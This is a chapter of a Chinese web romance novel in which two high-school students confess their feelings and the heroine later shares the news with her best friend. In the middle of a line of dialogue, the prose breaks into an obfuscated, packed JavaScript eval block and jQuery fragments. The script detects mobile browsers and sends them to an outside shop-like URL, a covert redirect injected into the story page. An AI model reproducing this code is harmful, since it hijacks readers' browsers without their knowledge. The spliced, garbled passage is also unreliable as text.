从粥店出来时，路边的一盏盏灯已经亮起，在石砖路上投下一圈圈光晕。
两个人从高处往下走，梨初揣在包里的手动了动，陈邑给她的暖宝宝已经没有这么热了。
沉默着走了一段路，梨初因为心里装着事没注意到前面等着自己的是一个不小的井盖坑，倏地一下，她整个人被拽住往旁边挪了几公分。
“想什么呢？”
带着笑的声音响在耳边。
梨初回过神来，发现自己差点跌进坑里，再抬头，她看见陈邑的手还牢牢地握着自己的手臂。
梨初笑笑，“谢谢啊。”
陈邑很快松开，“没事儿，走路看着路。”
梨初匆匆点头。
又往前走了几步，梨初偏头看了陈邑一眼，很快回过头，却还是被陈邑看见。
他的声音还是带着笑意，
“你想说什么？”
既然他都问了，那……
梨初压下心里荒诞的想法不自在地撩了撩耳边的碎发，在逐渐加快的心跳声中讪讪开口：
“你下午说的话是什么意思？”
陈邑脚步变缓，轻笑一声，
“就是要和你一起参赛的意思。
“只和你参赛。”
梨初在围巾的遮掩下抑制不住地笑得开心，几秒后又说：
“我说的不是这个。”
一阵晚风吹过来，陈邑有点儿冷，垂眸拉上了冲锋衣的拉链。
没记错的话，他下午在办公室只说过一句话，像是想起了什么，嘴边很快扬起一抹坏笑。
晚风中，他带着戏谑的声音在耳边响起：
“你之前是什么意思，我现在就是什么意思。”
之前……
之前？
之前？！
梨初脑子里顿时响起一声惊雷。
他是知道了什么吗？
小心思被当面戳破，梨初愣怔，粉红慢慢爬上她的脸颊、耳尖。
她急着狡辩，
“我……我那是单纯地想找你学习，仅此而已。
“你又不需要我教。”
等等！他那句话……
梨初猛地偏头，眼里都是惊讶。
路灯下，陈邑一直看着她，眼神和下午说他有喜欢的人那时一样温柔。
看见那双微微瞪大的琥珀色瞳孔，陈邑抬手摸摸她的脑袋，
“反应过来了？”
见梨初点点头，他把话里的吊儿郎当意味尽数收起，说得认真：
“我的意思是，我喜欢你。”
呼啸的风声霎时在耳边消失，只剩下自己“扑通扑通”的心跳声。
还在小步往前走的梨初倏地停住步子，她不可思议地望着地上两个高矮不一的影子。
虽然陈邑之前已经给过铺垫，但当他如此认真地说出“我喜欢你”四个字时她还是好不敢相信。
鼻子很快变酸，她吸了吸鼻子，眨了好几下眼才抬头懵懵地和他对上视线。
只是几秒，梨初很快移开自顾自地往前走。
陈邑跟在她后面，小心地戳了戳她的肩膀，几秒后底气不太足地开口：
“你……不打算说点什么？”
梨初抬手隔着围巾捂住自己的脸，几秒后转过头来闷闷出声：
“高考后我再考虑你。”
脑袋“咻”地炸开一朵烟花，心里的慌张顿时消散干净，陈邑笑得像个吃到糖的小孩儿，开始和她“讨价还价”，
“那我是你的唯一选项吗？”
正想点头，思绪一转圜，梨初学着他下午冷淡的声音回他：
“我让你等，又没说只有答应这一个选项。”
这话怎么听起来这么耳熟呢？
下一秒，伴随着梨初忍不住的笑声一起响起的还有他自己说这话时冷淡的声音。
听见笑声，陈邑偏头看她，对上了她缀着点点狡黠的目光。
她笑着逗他：
“被我吓到了吧，这下我们扯平咯。”
他确实被吓到了，这会儿看出她是在开玩笑还不够，他又开口问她：
“我怎么才能成为你的必选项？”
其实已经是了。
梨初说：
“我们一起努力，一起去棠大吧。”
以梨初的成绩来看，如果不出意外的话她说不定在高三时就能直接保送棠大。倒是陈邑，确实得再努努力。
陈邑笑着点头：
“好，我们一起去棠大。”
明明说开了，可是两人又陷入了沉默，只有拂过面颊的风知道他们的脸有多烫。
接着往前走几步，他们在公交站的椅子上坐下。
梨初突然问他：
“不过……你是什么时候知道我当时在骗你的。”
陈邑动作轻柔地把她的衣服帽子牵起来盖住，又从包里拿出新的暖宝宝打开给她。
做完这一切才慢慢道：
“一开始就知道。”
梨初猛地抬头，刚戴上的帽子因为她的动作又落了下去。
她看向陈邑的眼神比之前更震惊，
“真的啊？”
陈邑笑着点头。
当时陶然拉着她去看比赛结果，因为刚张贴出来，挤在前排的人太多，他就和朋友等在后排。
还聊着天，前面就传来洪亮的一声：
“初初！你得了市二等奖！你也太棒了吧！”
朋友被声音吸引，顺着看了过去，看清后还拍了拍他，
“阿邑，你看那个女生是不是就是上次在操场上哭了你还给她点歌的那个？”
陈邑也跟着往那边看，明媚的阳光洒在少女的发丝上，她今天笑得很灿烂。
当时的他只觉得她笑起来真好看。
后来前排的人都散去，他们一起过去看，陈邑却莫名地没有先看自己年级的名单。
而是去找了刚刚陶然面前的名单。
初初……
眼神触及那个名字时，朋友的声音也响在耳边，
“原来她叫梨初啊，这名字还挺好听。”
“石畔竹扶疏，棠梨结子初。是挺好听。”
说完那句，陈邑喃喃道，
“恭喜你拿到了好名次，梨初。”
记忆闪回，他看见了梨初欲哭无泪的表情。
“那也太丢人了吧……”
梨初倏地一下把头埋在腿里，几秒后才意识到不对劲，又慢慢抬起头把自己捂得只剩下一双眼睛看着陈邑，问他：
“那凭你的性格，不应该当场就冷着脸拆穿我，然后直接走人吗？”
陈邑认真着点头，
“是啊，我当时也在想我为什么会应下来。
“后来一直没想出个所以然来。”
梨初望着他，忐忑地问：
“那……现在呢？”
陈邑转过头，满是笑意的眸子盯着她，
“现在我知道了，也许从那个时候我就喜欢上你了。”
梨初露在外面的眼睛很快弯得像月牙，
“我好开心啊。”
-
到家时屋里漆黑一片，梨初伸手把开关打开，在玄关换了鞋又走到餐桌前才看见梨韵给她留的小纸条。
她和卓宏两个人抛下梨初去温泉酒店享受二人世界了。
也是看见这张纸条梨初才想起来今天好像是爸爸妈妈的结婚纪念日。
拿出手机给梨韵发了消息过去她又跑去房间收拾好自己的睡衣重新换好鞋出了门。
很快，楼上陶然家的门铃响起。
几分钟后，楼道的声控灯已经暗下去好久门才被从内拉开。
明亮的灯光刺激到梨初，她皱了皱眉。
里面的陶然以为她在怪自己，赶紧把她拉进去赔罪，
“初初，我才看见你发的消息，不好意思啊。”
说着就从鞋柜里拿出梨初的拖鞋放在她脚边，
“不过你今天怎么来我们家了？还提了这么一袋子衣服。”
梨初把拖鞋换上，问她：
“姨妈他们怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850624|191526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不在？”
“那当然是……”
过纪念日四个字还没说出来，陶然突然恍然，
“噢，他们四个又一起出去了呗。”
梨初点点头拿着睡衣径直往陶然房间走，陶然去冰箱拿了点吃的把外面的灯关了跟着她进了房间。
她进去时，梨初正在卫生间洗澡，里面传来淅淅沥沥的水声。
陶然看了看手表，现在已经晚上快8点了。
不应该啊，他们走的明明比她和周勉早多了，这么爱干净的初初怎么会拖到这个点才洗澡啊。
不对劲，肯定不对劲。
思及此，陶然直接跑过去敲了敲卫生间的门。
里面很快传出一声笑骂，
“桃子你干嘛？”
水声很快消失，应该是洗完了。
陶然倚在门口的斗柜旁，手里捏着个小玩偶，颇有兴致地套她的话：
“你全都招了吧，我都知道了。”
正拿着浴巾擦水珠的梨初动作一顿，几秒后猜到陶然是在套话，哼笑了一声。
她其实也没想瞒着，索性遂了她的意，有些夸张地开口：
“啊，你怎么知道的？”
陶然反手把玩偶扔在床上，“嘁”了一声，
“初初你想配合我就配合得像点儿啊。”
很快，旁边的门被打开，换好睡衣裹着头发的梨初从里面走出来，迎面带来满满的水汽。
陶然赶紧凑上去挽住她的手臂，
“快快快，你和陈邑到底发生了什么？”
陶然把她拉到飘窗前，眼睛闪闪地向她展示桌上放着的零食，
“当当，吃的已经准备好了，就等下饭剧了。”
梨初把头发拆开，冲她点点头，在她期盼的眼神中坐在了对面。
床头柜上燃烧着的香薰不断飘出丝丝缕缕的香气，梨初撑着昏昏欲睡的脑袋开口总结：
“就是这样啦。”
陶然又一次“哇”出声来，
“所以，你们约好一起去棠大？”
梨初点点头，“是啊。你呢，你和周勉怎么样了？”
是的，即使再困都挡不住女孩子爱八卦的天性，更别说是最好朋友的八卦。
陶然脸上染上绯红，手里还捏着那个小玩偶，几秒后她才抿着笑开口：
“他说他现在和我的差距太大了，要在接下来这一年半好好学习，争取和我考同一所学校。”
梨初笑起来，
“算他懂轻重缓急。”
陶然笑着点头，“真好啊，我们都有自己的目标了，一定要朝着目标努力！”
梨初直起身隔着圆桌凑过来挠她腰上的痒痒肉，
“没想到我们桃子也能有如此觉悟啊！”
陶然被挠得倒在软垫上，梨初还绕过来接着闹她，两个女孩子笑作一团。
说干就干，第二天起来梨初就看见陶然在手机上看各大寒假补习班的信息。
梨初趴在枕头上问她：
“桃子，你这次真的好认真。”
陶然眼睛还在手机屏幕上，回她：
“我数学不够好，想去好学校还是差点。”
“数学？”梨初重复。
旁边的人点点头，“对啊。”
话音刚落，手上的手机就被梨初夺了过去，
“数学我给你补不就得了，你还不相信我？”
次次考试都接近满分的“变态”，陶然怎么可能不相信。
她摇摇头，
“我是怕耽误你的时间。”
梨初长叹一口气，抬手捧住她的脸，
“桃子，你也太客气了。刚好我也要给陈邑补，我们三个一起不就得了。”
陶然欲言又止着点点头，几秒后缓缓举起一根手指，讪讪道：
“能不能再加一个。”
梨初早就看破她，
“周勉是吧？没问题啊。”
陶然“嘻嘻”笑起来，又在被窝里抱住她，
“初初你太好了。”